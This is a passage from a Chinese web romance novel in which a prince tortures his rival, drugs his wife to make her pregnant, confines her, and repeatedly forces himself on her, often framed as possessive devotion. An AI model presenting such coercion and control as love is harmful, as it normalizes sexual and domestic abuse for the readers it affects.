“不必。”想到薛慎用她的命做要挟,姜芙便不愿见他,那般狠心的人,见了又如何,只会让她更恨。
“王妃还在生王爷的气吗?”
生气?不,她是恨。
她全身心的付出换来的是阴谋算计,她又怎能不恨。
“没有。”姜芙淡声道,“我乏了,你去外面守着,不许任何人进来。”
“那王爷呢?”
“也不许。”
姜芙这一觉睡了三个时辰,醒来后婉儿说:“王爷来了。”
姜芙顿了须臾,侧转身子,“我头疼,不想见客,让王爷回吧。”
若说之前她还顾念着什么,此时都没了。
他既不把她当妻子,她又何必把他当夫君,不如陌路的好。
“那老夫人呢?”婉儿道,“刘妈已经来三次了。”
“不见。”醒来后的姜芙仿若重生了一般,脸上再无丝毫怯弱,最坏的结果就是死,反正也不是第一次,有何惧。
婉儿明了,转身走了出去。
薛慎已经等了两个时辰了,见婉儿出来,问:“王妃如何?”
“王妃身子不适,又歇下了。”
“她还是不愿见我?”
婉儿抿抿唇,“王妃是太累了,还请王爷见谅。”
薛慎拂袖而去,步伐稳健带出一股冷风,冻得旁人打颤。
当夜,江宸受了重刑,昏厥过去。
薛慎命人用冷水把他泼醒,继续用刑。
江宸冷笑:“你除了会对我用刑还会做什么?”
“薛慎,你别以为你得到了阿芙便万事大吉,阿芙早晚有一天会离开你。”
薛慎怒急,亲自对他用刑,鞭子落在他身上,映出一道道血痕,“芙儿既然是我的妻便会一辈子都是,你想让她跟你走,做梦!”
“是不是做梦,等着瞧。”江宸忍着痛道,“阿芙会跟我走的。”
薛慎闻言更气了,手上力道加重,小八见状走过来,“王爷真把人打死,陛下那不好交代。”
薛慎停住,狠戾道:“江宸,你早晚会死在我手中。”
江宸冷笑,“谁死还不一定呢。”
半分没有阶下囚的自觉。
薛慎锁住他喉咙,直到他快昏厥才松开,拿过帕子轻轻擦拭手指,“阿愿这个名字不错吧,说我同芙儿孩子的名字。”
“江宸,芙儿有了我的子嗣,收起你的痴心妄想吧。”
言罢,薛慎转身离开。
江宸咬牙切齿,道:“阿芙才不会为你这种男人生孩子,你不配。”
这话正中薛慎内心,是呀,姜芙不愿给他生孩子,可那又有什么关系,他想的事谁又能阻止。
就像那日,他喂姜芙喝汤药,在姜芙眼里那是避子汤,可他知晓,那不是,那是有助怀孕的汤药。
再有,他把姜芙带出来,名义上说是带她玩,实则是用她引江宸上钩。
江宸诡计多端,一般伎俩他不会上当,但牵扯到姜芙,无论真假他必会一探究竟。
是以,他才设计了那出好戏。
一边给江宸去信,说姜芙受了胁迫,过得很不好,一边又派人给姜芙送信,说江家小姐出了事,以姜芙同江烟雨的关系,她必会想尽办法出来一探究竟。
他故意把人带到最热闹的地方,故意让人挟持了姜芙。
他料准,江宸不会不现身。
同他猜测的一般无二,果然,江宸现身了,还是只身前来。
真是笨啊,竟然敢自己现身。
不过这样也好,方便他抓住他。
如预期那般,他把人抓住,唯一有了偏颇的是,江宸告知了姜芙真相,按照他的安排,姜芙是不会知晓的。
他把人抓住后,会带姜芙回来,他还会继续哄她,直到她怀上孩子。
顺利诞下子嗣。
那时,江宸大概已经死了。
若是姜芙追问,他会找个理由搪塞过去,再过个几年,他们会有第二个第三个孩子。
至于江宸或是江烟雨都将在姜芙记忆中消失。
她的芙儿满眼满心只会有他一人,他们会琴瑟和鸣在一起。
之前的那些纷纷扰扰,他会忘记。
帕子落进了火堆里,眨眼间消失不见,事情有了偏颇又如何,他坚信,他能得到姜芙的心。
若真得不到,他也不会放手。
今生,姜芙只能是他的。
……
吃了几次闭门羹,薛慎再也不忍了,推门走进去。
姜芙见他来,握着汤碗的手指莫名颤抖,下一瞬,汤碗掉到了地上,她眼神里出了有恐惧外,还有恨意。
她恨他。
婉儿弯腰去捡,薛慎怒斥,“出去!”
婉儿不敢停留,低着头走了出去。
房门刚关上,薛慎大步上前,把姜芙扔在了榻上,他居高临下睨着她,“为何不见我?”
“就因为那日我利用了你,所以你这般恨我?”
“姜芙,说话!”
说什么?
姜芙一句话都不想说。
眼泪顺着眼角流淌下来,她连哭都是没有声音的。
薛慎见她不开口,怒气上涌,撕扯她衣襟,“说话!本王要你说话!”
万念俱灰的人还说什么,姜芙死也不开口,牙齿咬破了唇瓣,依然没发出任何声音。
“好,你不开口,本王有的是办法让你开口!”隔着衣衫,他低头咬上她肩膀,齿尖陷入肉里,咬出血才松开。
姜芙抖动得更厉害了,纤长的眼睫上沾满了泪珠,她缩着身子躲到一旁。
薛慎的挫败感席卷而来,他一把抱住她,轻哄:“抱歉,我的错,都是我的错,我不应该那样。”
“可是芙儿,我从未想让你死,便是那日也是做好了万全的准备。”
“我不会让任何人伤你分毫。”
别人不会伤她,能伤她的只有他。
花言巧语挺听多了,姜芙已经不信了,为了让他更愧疚,她做出了惊恐状,缩着身子躲在被子下,他只要靠近,她便拉扯锦被。
笨拙的演技成功骗过了男人,薛慎停下,“好,我不碰你,不碰你,你别怕。”
姜芙不知从哪里摸到了剪刀,她拿出,对着自己。
薛慎眉梢皱起,“我走,我走,你别伤到自己。”
他一步步后退,最后出了房门。
姜芙扔下刀子,脸埋入锦被中大口喘息。
婉儿进来,吓得跪到地上,“王妃,您这是作何?”
姜芙猩红着眸子看她,“见到小九了吗?”
“没有。”婉儿道,“小九好像是外出办事了。”
“那可有旁人同你联系?”
“有。”婉儿取出纸条,“这个。”
姜芙接过,上面寥寥数语,是江家人送来的,要她帮着一起救出江宸。
姜芙站起身,踉跄着走到烛灯前,把纸条点燃,冷冷道:“明日备些王爷爱吃的膳食,我要同他一起用膳。”
婉儿错愕,“王妃不躲王爷了吗?”
醒来后姜芙一直在躲薛慎,要么不见,要么只是见一下。
“不躲了。”姜芙道,“我要救江公子。”
若是没有江宸这茬,她会一直躲,一直不见,可如今要救江宸,她便不能如此肆意。
薛慎用计伤她,她还回去便可。
一样不落的,都还回去,然后再离开-
薛慎见婉儿来,露出惊讶的神情,“你说什么?”
婉儿道:“王妃邀王爷一同用早膳。”
薛慎:“
好,本王马上去。”
小九也替薛慎高兴,“王妃终于肯见王爷了,王爷可要好好打扮打扮。”
薛慎嘴里说着本王这样就很好,行动上还是有了改变,穿上了姜芙夸他好看的那件云染薄衫,外面罩着白色氅衣。
狐狸毛托着下颌,映得他脸色白皙红润。
腰间香囊是姜芙给他的,脚上的靴子也是之前姜芙送他的那双。
他问小九,可有不妥?
小九托腮道:“嗯,有。”
薛慎垂眸打量,“哪里?”
小九:“知道的王爷是去赴王妃的约,不知情的还以为王爷是要当新郎官呢。”
薛慎扔给他一个钱袋子,“泼皮,哪凉快滚哪去。”
小九晃了晃钱袋子,“多谢王爷,那我去吃酒了。”
小八提醒他,“刚回来,莫要乱跑。”
小九翻白眼,“啰嗦。”
他问小八,“一起去?”
小八道:“我要守着王爷,你自己去。”
……
薛慎没空着手去,除去药材,他还带了胭脂水粉,都是给姜芙的。
姜芙昨日见他那般胆怯,今日正常了很多,没再打颤,屈膝作揖,“妾身见过王爷。”
薛慎过来扶她,她也未曾闪躲,莞尔笑笑,“王爷请坐。”
薛慎见她未躲,便大着胆子揽上她腰肢,“芙儿也坐。”
他们如往常那般对面而坐,姜芙脸上一直淌着笑,杏眸里簇簇光影,让人看着便欣喜。
薛慎更喜。
他亲自给姜芙剥虾,还叮嘱她慢点吃,烫。
姜芙不喜虾,除了薛慎外,其他人都知晓,但她还是吃了。
世上不喜欢的事千千万,总不能遇到便推拒,她既承诺要救江宸,就要做出改变。
吃虾是她的第一个改变。
其实比起吃虾带来的恶心感,薛慎的碰触才真真让他恶心。
她脸他都能忍,又怎么忍不了一只虾。
但…真的好难吃。
姜芙慢慢吃下,柔声道:“王爷也吃。”
薛慎:“多谢芙儿。”
姜芙给薛慎夹了丸子,薛慎半点犹豫都没有,慢条斯理咬了一口,“味道不错。”
婉儿道:“是王妃亲手做的。”
薛慎大喜,“芙儿手艺真好。”
“王爷喜欢便好。”姜芙道,“下次妾身还做给王爷吃。”
薛慎拉过姜芙的手攥在掌中,“不了,我舍不得芙儿辛苦。”
舍不得她辛苦,却舍得要她的命,男人的话果然没一句能信。
“应该的。”她道。
“芙儿不生我的气了?”薛慎问。
“是芙儿不懂事了,”姜芙道,“芙儿知晓王爷公务在身,也是不得已为之,王爷从未想过伤害芙儿。”
她端起酒樽,“芙儿向王爷赔礼,还往王爷能原谅芙儿。”
薛慎:“谈什么原谅,我从未生过芙儿的气。”
酒樽轻碰,两人一同饮下。
薛慎饮的是酒,姜芙饮的是屈辱不甘难过心痛,入喉后只觉得有火在灼烧。
她手指轻缩了下。
薛慎:“冷么?”
姜芙:“有点。”
薛慎脱下氅衣披她身上,又命人把炭火烧旺,执气姜芙的手凑到唇边吹拂,温声问:“有没有好些?”
姜芙:“好多了。”
“那这样呢?”他坐到姜芙身侧,把她抱怀里。
姜芙含羞道:“越发暖和了。”
薛慎扣住她的腰让她坐腿上,“这样是不是更好些?”
姜芙:“是。”
饭没吃几口,薛慎抱起姜芙去了里间,婉儿挥退其他人,随即关上了房门。
不多时,细碎的声音传来,还有姜芙的哭声。
薛慎轻吻她眼角的泪,“芙儿,别离开我。”
姜芙:“好。”
……
姜芙的改变所有人都看在眼里,宋氏劝慰,“儿呀,姜芙自从醒来后与以前颇为不同,你可要小心了。”
薛慎:“母亲多虑了,芙儿很好。”
“好什么好。”宋氏道,“她如此这般,总感觉是想做什么?”
“有母亲和两位嫂嫂看着,她能做什么。”薛慎道,“母亲还是多关心关心阿蕊吧。”
“别跟我提她。”宋氏道,“相看也不去,上香也不愿,都不知道她想作何。”
薛慎:“回头我去问问。”
宋氏:“好,你去问。”
连宋氏都察觉到姜芙不对劲,何况是别人,小八道:“王爷,王妃她?”
“无妨。”薛慎道,“她高兴便好。”
“可万一她是想……”小八抓了好几个探子,都是江家那边的人,他们的目的不言而喻,就是救江宸。
“她一个弱女子翻不出什么浪花。”薛慎道,“随她意便好。”
“可她要是对您不利?”
“我都不怕,你们怕什么。”
薛慎道:“我心里有数。”
姜芙一直在等合适的机会去见江宸,这日还真等到了,入夜她去了地牢。
门口没有守卫,婉儿担心有诈,“王妃别去。”
姜芙也只不妥,但不能再拖,“不入虎穴焉得虎子,我得去。”
“可若是有埋伏呢?”
“抓住又如何?”不破不立,她同薛慎之间需要一个突破口,或进或退,单看今夜了。
“奴婢不想王妃出事。”婉儿道,“要不让奴婢去吧?”
姜芙:“不,我去。”
江宸是为了救她才被抓的,她理应去见他。
婉儿守着,姜芙一个人走了进去,才行几步,潮意裹挟着冷风扑面而来,细问下还能闻到腐臭味。
忽的,有东西从脚前爬过,是老鼠。
姜芙一把捂住嘴,生生把声音吞了下去。
她最怕老鼠,之前见到都会连着做好几晚恶梦。可眼下顾不得那么多,加快了脚下的步子,急匆匆朝前走去。
走了一路,一个犯人都没看到,姜芙停下步子,不免沉思,这里面或许真有诈。
思付间有细碎的声音传来,像是闷吭声,不确定是不是江宸的,姜芙再次迈步前行。
刀山火海,这遭她都要闯一闯。
几步后,她看到了奄奄一息的人。
全身上下无一完好,她甚至看不清他的脸,“江宸,江宸,是你吗?”
姜芙急切呼唤。
那人被绳索捆绑着,动都不动。
“江宸,我是阿芙,你醒醒。”
那人耷拉着脑袋,半分要抬起的意思也没有。
眼见实在叫不醒,姜芙只能另想他法,她找了一圈找到一个榔头,举起用力砸下去。
锁头太结实,根本砸不动。
她只能继续砸,一下一下,也不知砸了多久,锁应声断开。
姜芙欣喜,扔下榔头,抽出锁链,推门走了进去。
“江宸,醒醒。”她去推他。
血渍滴落下来,原本还闭着眼的男人缓缓掀开眸,四目相对。
熟悉的眼神让姜芙心悸。
不是江宸。
她吓得后退几步。
转身欲跑,被人唤住。
“芙儿,不是专程来寻我的么?”
“跑什么?”
第二十四章 和离痴心妄想
熟悉的声音悠悠传来,姜芙背脊挺直,全身战栗不已,她不敢停,只能快步朝前走。
眼见要走出地牢,被一阵疾风所笼,下一瞬,她跌进了滚烫的怀里,纤细的腰肢被紧紧桎梏。
如鬼魅般的声音袭来,薛慎贴着她耳畔道:“跑什么。”
她是来救人的,如今被发现,不怕怎么行。
止不住的颤抖,她说:“王、王爷,妾身没跑。”
“叫夫君。”薛慎蹙眉道。
“夫、夫君。”姜芙不敢不叫。
“你来此做什么?”薛慎明知顾问道。
“妾身梦魇走错了地方。”姜芙低声回,“妾身这便走。”
她不可能说自己是来救人的,胡乱找借口,无论薛慎信不信,她都咬死就是梦魇。
“急什么。”薛慎箍紧她腰肢,“既然来了,不如看场好戏。”
“戏?”姜芙吓得六
神无主,只想快快离开,“妾身乏了,求王爷让妾身先行离开。”
薛慎一把攫住她下颌,眼神里再无一丝温柔,“芙儿当这是何处?想来便来想走便走,嗯?”
“你真当我这地牢是摆设不成。”
薛慎突然松手,姜芙双腿一软倒在了地上,膝盖碰撞发出嗡鸣声,痛意如翻涌的潮水般袭来。
几乎将她淹没。
她没忍住轻嘶出声,下一瞬,又被他强行拉起,“要不要看?”
她有的选么?
答案是没有。
“妾身听王爷的。”姜芙低声道。
如今局面,不是她能选择的,便是她说不看,薛慎也不可能放她离去。
“这才乖。”
薛慎把姜芙带到了另一处,里面隐隐传来鞭打声,还有男人的闷哼声。
她透过狭窄的窗子看过去,正好看到被打的皮开肉绽的男人。
是江宸。
姜芙眼睛大睁,眼泪不知不觉流淌下来。
薛慎贴上她后背,薄唇落她耳畔,“芙儿今夜是来救他的吧?”
姜芙不能承认,不然江宸会更危险,摇头,“妾身真是梦魇走错了地方。”
“梦魇?”薛慎揉捏她下颌,“芙儿的梦魇来的真是时候,不过也无妨。”
他扳过她的脸,“你猜他还能撑多久?”
鞭子上都是倒刺,每次落下便会抽出数到血痕,这还是姜芙第一次看到如此血腥的一幕,吓得脸色苍白,一句话也说不出。
“怎么不说话?”薛慎桎梏着她腰肢的手指微微束紧,“莫不是心疼了?嗯?”
姜芙是心疼了,恨不得替他受过,手指抠进掌心,哽噎道:“妾身愿代江公子受过,求王爷饶了江公子。”
“你代他受过?”薛慎几乎要拧断她的腰肢,“姜芙你知晓自己在说什么吗?”
姜芙也不想再掩饰了,直言道:“妾身知道。”
“你真要代他受过?”
“是。”
“你不怕死?”
“妾身不怕。”
姜芙所有的勇气都用在了这里,眼神透着决绝,“妾身求您放过他。”
言罢,她屈膝跪到地上。
若不是事情紧急,她也不愿此时撕破脸,她也想好好同薛慎讲,一日不行便两日,两日不行便三日。
可江宸等不到了,再这样折磨下去,他活不过明天。
她只能当机立断,做出决定,她知道薛慎会生气,但没有办法。
她要救江宸。
“只要王爷能放过江公子,要妾身做什么都可以。”姜芙道,“即便是要我的命,妾身也愿意给。”
“你为了他连命都可以不要?”薛慎没料到姜芙会这般,咬牙切齿道,“姜芙你真不怕本王杀了你?”
“王爷想杀妾身尽管来。”姜芙抬高下颌,“只求王爷放了江公子。”
江公子、江公子、江公子……
若说方才薛慎只是觉得好玩,眼下便是怒火中烧,他攫住姜芙的下颌,“这么想救他,我偏不如你的意。”
“小八,用刑。”
“不可。”姜芙出声阻止,被薛慎锁上脖颈。
他道:“再多说一个字,江宸立马死。”
姜芙不敢再惹怒他,只能瞪大眼睛看着,眼睫上下扑闪,无声求他放过江宸。
薛慎是不可能放过江宸的,他的目的就是要江宸死。
姜芙越护他,只会加快他的死亡。
两人凝视着彼此,直到闷哼声消失,江宸昏了过去。
须臾,一盆冷水浇下来,他再次清醒,“薛慎,我知道你在,有种你就出来见我。”
薛慎不会去见他,他正在掐着姜芙的下颌索吻,他要她满眼满心都是他。
姜芙推他,被他握住了手腕,接着,她被他扛到了肩上,像个布袋似的扛出了地牢。
他们没回西厢院,而是去了薛慎平时的住处,他把她带去了书房。
案几上的书掉落一地,根本无暇顾及,他撕扯着她身上的衣裙,用力按压她胸口,“我要你这里装的都是我,若敢有其他人,那人必死。”
“你江家也别想好过。”
“你父兄更甚。”
“别挑战我的耐性,你输不起。”
是呀,她输不起,她可以死,但父兄不行,江家不行。
所有的挣扎瞬间荡然无存,她任他欺凌,亲也好,咬也好,统统不反抗。
哪怕是被他用力抵着,她也未曾动分毫,咬唇承受着,期翼这一切快点过去。
……
那夜后,姜芙又病了几日,恹恹的,吃不下也睡不好,太医说她忧思过虑。
薛慎听闻后再次发怒,“你当真为了江宸命都不要了?”
姜芙不言不语,好似活死人。
“来人,把药端上来。”薛慎撬开她的唇,喂她吃药。
她没吃。
药顺着唇角流淌下来。
薛慎一拳打在椅子上,椅子应声碎裂,“姜芙,你等着。”
三日后,有人推门而入,熟悉的声音传来,“阿芙。”
是姜父。
姜芙去看,眼底闪烁着泪花,许久后道:“父亲。”
姜父望着她,眼睛里同样蓄满了泪水,两人还未曾闲话家常,姜父便训斥起来。
“你平日最是乖巧了,今儿怎会做如此糊涂的事。”
“姜家现下还要依仗着王府,你千万不可任性。”
“王爷对你那般好,你莫要做让他生气的事。”
“晚点王爷过来,你记得同他赔礼。”
“……”
没有嘘寒问暖只有责备,姜芙心寒至极,抖着声音问:“父亲为何来此?”
“还能为何,当然是为你了。”姜父道,“你就不能消停些么。”
她被折磨,最后却是她不消停,这是哪门子的道理。
“父亲,是薛慎……”
“乱讲,”姜父打断,“王爷对我们姜家恩重如山,对你更是疼爱有加,你不许乱言。”
姜芙把委屈吞下去,淡声道:“女儿乏了,父亲还是回吧。”
姜父哪里肯就此离去,继续规劝,“身为女子本应听从夫君的话,你如此这般已是犯了大不敬之罪,王爷不责罚你,说明王爷宅心仁厚,但你万不可恃宠而骄。”
“我姜家的女儿可不是跋扈之辈,你若污了名声,为父也不会饶你。”
短短数语,姜芙如坠冰窟,忍着心中痛意说道:“女儿知晓了。”
“知晓便去做。”姜父道,“少使小性子。”
姜父训斥完,转身离去,随后顿住,又道:“明日为父便会离去,这一去又不知何日能见,你记得好生照顾你夫君,切莫让他厌弃你。”
“不然,姜家也不会容你。”
姜芙闻言,脱口问道:“若女儿要同薛慎和离,父亲当作何?”
“你说什么?”姜父折返,“和离?你怎敢说出如此大不敬的话。”
“姜家女儿便是死也只能死在夫家。”
“姜芙你给我记住,你生是薛家的人,死是薛家的鬼。”
“为父不许你再提和离之事,不然我——”
他伸出手,作势要打姜芙。
姜芙轻笑出声:“父亲当真还同从前一般无二。”
动不动便责打她。
薛慎进来,看到他们剑拔弩张,问道:“出了何事?”
姜父赔笑脸,“我在同阿芙闲话家常,没事。”
薛慎:“厅中备了酒菜,岳父大人有请。”
薛慎亲自来请,姜父自然欢喜,笑着随他去了前厅。
晚膳姜芙几乎没吃什么,婉儿见状给她拿了些糕点,“王妃还是吃点吧。”
姜芙没胃口,摇头,“吃不下。”
“奴婢知晓王妃惦念着江公子,”婉儿道,“可王妃为了江公子差点连命都搭进去,这事真不怪王妃。”
“若不是我,他不会被擒。”
“江公子行走江湖多年,这点分寸都没有,也怪他大意。”婉儿道,“再者,若不是他,王妃也不会生病数日不见好转。”
“说到底,江公子也不全然无辜。”
“他竟然瞒着身份同王妃书信来往多年,谁知他安的什么心思。”
欺瞒这事姜芙也确实有芥蒂,“罢了,或许他有苦衷吧。”
“便是有苦衷也不能欺瞒这般久。”婉儿道,“奴婢看他就没安什么好心,他定
是有所图谋。”
姜芙心乱得很,喝完参茶后便去案几前作画了,画来画去感觉总是不对,随即扔下笔去了里间。
门被撞开,薛慎醉意熏熏走了进来,一把抱住姜芙,把她摁在了床榻上。
胡乱拉扯她身上的罗裙,咬着她粉嫩的耳垂厮磨。
“姜芙,你想同本王和离,不可能。”
第二十五章 真相替身(文案梗)……
那夜之后,姜芙一直被关在西厢院,没有薛慎的命令谁都不许见。
期间,姜父来了一次,还是老生常谈,要她听话懂事,切莫惹怒薛慎,见她油盐不进,再次动起手,婉儿见状扑上前护住姜芙。
那巴掌把婉儿打的嘴角流血,半边脸高高肿起,姜父完全不觉得自己做错了,更放下狠话,她若执迷不悟,他便不认她这个女儿。
当晚,姜芙梦到了早逝的娘亲,梦中的她依然那般慈善,她抱着她轻哄,说都是她的错,是她没护好她。
姜芙泣不成声,说想跟她一起走。
女人摇摇头,温声说:“你还有大好的年华怎么能随娘亲一起走呢,阿芙乖,要好好的。”
醒来后,她惆怅万千。
再后来,薛蕊来过一次,没提及和离的事,说了些女儿家的体己话,也为薛慎说了很多好话。
“三嫂,三哥这人虽刻板,但他心里是有你的,书房里挂着好多你的画像,有机会三嫂可以去看看。”
“他若是不喜欢你,不可能把你的画像悬挂在书房中。”
“三嫂,听我一句劝,别生三哥的气,好吗?”
姜芙淡笑,“阿蕊多虑了,我怎么会生王爷的气。”
薛蕊一听便知她还气着,轻叹一声:“若是我能嫁个如三哥一样的夫君,我定会同他好好过日子。”
姜芙笑着转移话题,“阿蕊这身衣裙很漂亮,刚刚做的吧?”
“嗯,三嫂若是喜欢,赶明儿个我也陪你去做一件。”薛蕊道。
“阿蕊知道的,我不能出府。”姜芙端起茶盏慢饮一口,“恐怕要辜负阿蕊的美意了。”
关禁闭这事是薛慎定的,无人能更改。
薛蕊:“回头我会去求三哥,让他允你出府。”
姜芙:“无妨,出不出都好。”
她已经不介意是被关还是出去,反正也没差,即便出去了也是被他的人跟着,没有任何自由可言。
薛蕊见她如此,拉过她的手,“三嫂信我,再过些时日三哥会想通的。”
姜芙莞尔一笑,“好。”
她笑的敷衍,薛蕊心中也明了,这对夫妻的心结怕是一时半会解不开。
但该说的话她还是要帮忙说一下。
她去找了薛慎,“三哥,你当真要一直关着三嫂吗?”
薛慎执笔作画未曾开口。
“你这几日都没见三嫂,她脸色很是不好,你真就不担心吗?”薛蕊问道。
“顾好你自己,旁的是别管。”薛慎道。
“三哥,你若再这样下去,真的会失去三嫂。”薛蕊也听说了一些旁的事,“听闻你抓了离城江家的人,且三嫂同那人是旧识,你同三嫂的不快也皆因那人而起,可这并不是三嫂的错,少时相识的朋友,也不可能说断便断。”
“三哥向来睿智,为何想不通这些呢。”
薛慎停住笔,脸色阴沉,“四妹的意思是,我应该不计较?”
“朝廷上的事我不懂,但除去这些单说其他,我觉得三哥应该大度些。”薛蕊道,“你困住三嫂的人也未必能困住她的心,若是有朝一日她铁了心离开,你要如何?”
“总不能真把她困一辈子吧?”
薛慎凝视前方,冷声道:“一辈子也未尝不可。”
……
几日后,姜芙听到了最让她欢喜的事,江宸逃跑了,确切说是在送往大理寺的途中被人救走了。
近百守卫看不住一个人,可想而知,龙颜会有多动怒,听闻薛慎也未能幸免,被罚了俸禄闭门思过。
婉儿告知姜芙这件事时,她正在看书,听到后,顿住,“江宸真的逃走了?”
婉儿道:“外面是这般传的。”
姜芙终于露出了浅笑,“他逃走了,真好。”
日日夜夜都盼着这日到来,没想到真的到来了,婉儿递上汤药,“奴婢知晓王妃一直惦念着江公子,是以得到消息后便匆匆折返告知王妃。”
“不过江公子这么一逃,惨的便是王爷,陛下动怒还责打了王爷,想来这几日王爷心情会非常不好。”
“王妃可千万不要去招惹王爷。”
她同薛慎之间,向来都是薛慎主导,她从未主动招惹。
“你觉得我不见他,他便会放过我?”
“这……”
“他不会。”姜芙道,“他心情不佳,会想尽办法从我身上找回来。”
薛慎之前便是如此,每每心情不佳便对她做些什么,外人眼里是王爷疼爱王妃,可只有姜芙自己知晓,那样的疼爱她一点都不想要。
“王妃也别这样悲观,奴婢想王爷他……”婉儿话未讲完,薛慎推门进来,沉声道,“出去。”
婉儿弓着身子退出去。
姜芙站起身,屈膝作揖,“王爷。”
薛慎踉跄走来,一把攫住她的手腕,红着眸子问道:“江宸被救,你是不是很开心?”
他手劲大,几乎要捏断姜芙的手,姜芙忍着痛意道:“妾身没有。”
“没有。”他掐上她下颌,“你不是早就盼着他逃走吗?”
“王爷…疼。”被他这样一闹,姜芙眼睫上染了泪珠,声音发颤,“松、松手。”
“不松。”薛慎把她扯进怀里,箍紧她的腰肢,脸埋入她颈窝,低喃,“姜芙你就那么想离开我吗?”
姜芙:“……”
“江宸有什么好的。”他说,“你别忘了,你可是我的王妃。”
夜色太妖娆,壮大了姜芙的胆子,她道:“我也可以不是你的王妃。”
只要你同意和离。
“休想。”薛慎咬上她唇瓣,“你这辈子下下辈子都会是我的王妃,谁也别想把你抢走。”
最初薛慎还能正常说话,讲了没几句他开始胡言乱语了。
“芙儿,别离开我。”
“你想我变成什么样我都可以。”
“你是本王的王妃,本王不许你多看其他男人一眼。”
“那个江宸,早晚有一天本王会要了他的命。”
“芙儿,芙儿,我的好芙儿,别走……”
姜芙听着他乱讲一通,心情没由来的沉重,和离的事怕是很难办。
如她猜测的那般,薛慎再也没给过她开口提和离的机会,日日同她吟诗作画。
还买各种小玩意哄她开心。
姜芙不知他葫芦里卖的什么药,只能过一天算一天。
直到那日,收到了江宸的信笺。
他躲到了安全的地方,一个谁也找不到的地方,怕她忧心所以才冒险给她送来信笺。
他还说,他不是有意欺骗她,只是一直没找到合适的机会言明真相。
他说了很多昔日的往事,还告知她,若是她想离开薛慎,他可以帮忙,随便她要去哪里都好。
离城江家会是她的后盾,他亦是。
最后他还说道,薛慎不是她的良人,她值得更好的。
姜芙未免信笺落入他人之手,看完后当即焚毁,婉儿问她接下来要如何?
她道:“已到了年后,是时候准备离开事宜了。”
“王妃要去找江公子吗?”
“不。”姜芙道,“天大地大,没有江家,咱们照样能好好生活。”
她不想依附任何人,只想靠自己。
旁的或许不行,但做生意她还是可以的,毕竟自小耳读目染,也学会了一些。
营生完全没问题。
姜芙筹谋着离开时,薛慎正带着人在山上打猎,一下子猎了好几只野兔。
小九道:“要吃吗?”
薛慎睨了他一眼,“不吃,带回王府。”
“带王府去干嘛?”小九说完挨了小八一脚,小八说,“能干嘛,当然是给王妃了。”
小九揉揉腿,“给王妃就给王妃呗,你踢我干嘛。”
小八:“谁叫你那么傻。”
“你才傻。”小九不服气道,“最傻。”
两人边走边斗嘴,怀里的兔子跑了都没注意,后面小九又追了回来,跟着薛慎一起去了西厢院。
房间里没人,姜芙不在,婉儿也不在。
薛慎问道:“王妃呢?”
丫鬟道:“去了老夫人院子。”
宋氏最不喜姜芙,薛慎未曾停留,转身离去,同他猜测的那般,姜芙正在受罚。
薛臻也在一旁跪着,不停说道:“这事同嫂嫂无关,都是我的错,母亲罚我便好。”
周氏轻哼,“三弟的书房向来不允旁人随意出入,你们两个都进去了,当然要一起受罚。”
“母亲,您可不能轻饶了他们。”
宋氏每次看到薛慎都恨不得处置后快,冷声道:“姜芙,你说,你同薛慎到底在密谋什么你?”
“儿媳没有。”姜芙道,“只是恰巧遇到了四弟。”
“恰巧?哼,谁信。”刘氏道。
欲加之罪何患无辞,她们摆明了要找她的麻烦,便是她解释再多也是无用。
“都是儿媳的错,求儿媳放过阿臻。”姜芙道,“四弟还小,受不住。”
“这个时候你还偏袒他,若说你们没什么,谁信。”
“大嫂,四弟还是个孩童,请大嫂慎言。”
“你——”
“够了。”薛慎大步走过来,“母亲这是作何?”
“慎儿你来的正好,”宋氏道,“他们二人去你书房行窃,母亲正在问话。”
“既是我的书房,这事理应儿子自己处理,”他道,“小八小九把他们带去书房,我亲自审问。”
没给旁人置喙的机会,姜芙同薛臻一前一后被带离,姜芙被带去书房,至于薛臻,送回了自己的院子。
薛慎未曾同往日那般折辱她,也未曾欺负她分毫,命人离开后,牵着她手来到了里间。
一床一桌,这里是他平日歇息的地方。
姜芙不知他要作何,狐疑打量。
薛慎弯腰从桌子下面拿出一笼子,挑眉示意她去看。
姜芙垂眸,待看清是何物后,唇角扬起,“兔子,哪里来的?”
薛慎:“喜欢吗?”
姜芙点头,“喜欢。”
兔子似乎有些饿了,一直在乱啃,薛慎道:“我去让人送些吃食过来。”
姜芙看着他离开,眸光再次落在兔子上,唇角扬起的弧度越发大。
忍不住轻轻碰触了下。
兔子后退。
她见状没再碰触,而是托腮凝视,想起了少时娘亲送给她兔子的事,若是可以回到那个时候该多好。
望的出神,无意中碰触到了桌子上的摆件,忽的,眼前的书柜缓缓移开,有女子的画卷呈现在眼前。
明眸善睐,美不胜收,倾国倾城,是个绝色佳人。
让姜芙错愕的是,画中的佳人竟然同她有几分相似?!!
第二十六章 真相她就是别人的替身
姜芙凑上前,再度细细打量,脚踢到了暗格,放在上面的画卷掉了下来,她弯腰去捡,其中一幅顺势打开,画中人依然是那名女子。
不期然,姜芙想起了昔日周氏同她讲过的话,说薛慎娶她不过是权宜之计,其实他另有心仪之人。
刘氏也曾言明,薛慎对她的好,不过是退而求其次,得不到心爱之人,便把她当成那个人的替身来对待。
姜芙曾不信,可看到眼前的画像却不得不信。
如此一张张画卷,不正说明,他对那个女子用情至深吗。
眼泪顺着眼角流淌下来,浸入在唇瓣上,姜芙尝到了酸涩,整个人像是被一张网笼着,呼吸不畅,郁结难舒。
不记得蹲了多久,直到脚步声传来她才回过神,缓缓站起。
薛慎推门而入,“芙儿,你看——”
姜芙慢慢转过身,手中的画卷随风轻晃,她问:“这是谁?”
薛慎扔下手中的吃食,大步上前,一把夺过画卷,冷声道:“谁让你动这些画卷的。”
“出去!”
姜芙没动,再次问道:“这人是谁?”
“同你无关,”薛慎睨着她,眼神森冷,“记住,没有本王的允许,书房里的任何东西你都不许碰。”
太累了,姜芙不想猜了,直接问道:“这便是你喜欢的女子吧?”
他未开口,姜芙当他默认,后退两步,唇动了又动,“那我呢?你可曾心悦过我?”
饶是知晓他心中所想,她还是想听他亲口讲。
“薛慎,你可曾真心在意我半分?”姜芙红着眸子道,“哪怕一次也好。”
“本王对你如何你不知晓吗?”薛慎反问道,“姜芙,你难道没有心吗?”
如此倒打一耙,叫姜芙更加心寒,她轻笑,“是我没心还是你没有?”
自少时相识她便喜欢上他,为了他,能做到不能做的,她都会去做。
看他挨打,她比他还痛,冰天雪地里,她同他一起受罚。
他生病,她衣不解带照顾。
更是为了照顾他,让她错过了见娘亲的最后一面,愧疚到此时。
他一句温暖话语都没有。
是她瞎了眼,喜欢上他这般无情之人。
不想再多说一句,她慢慢转身,走出了书房。
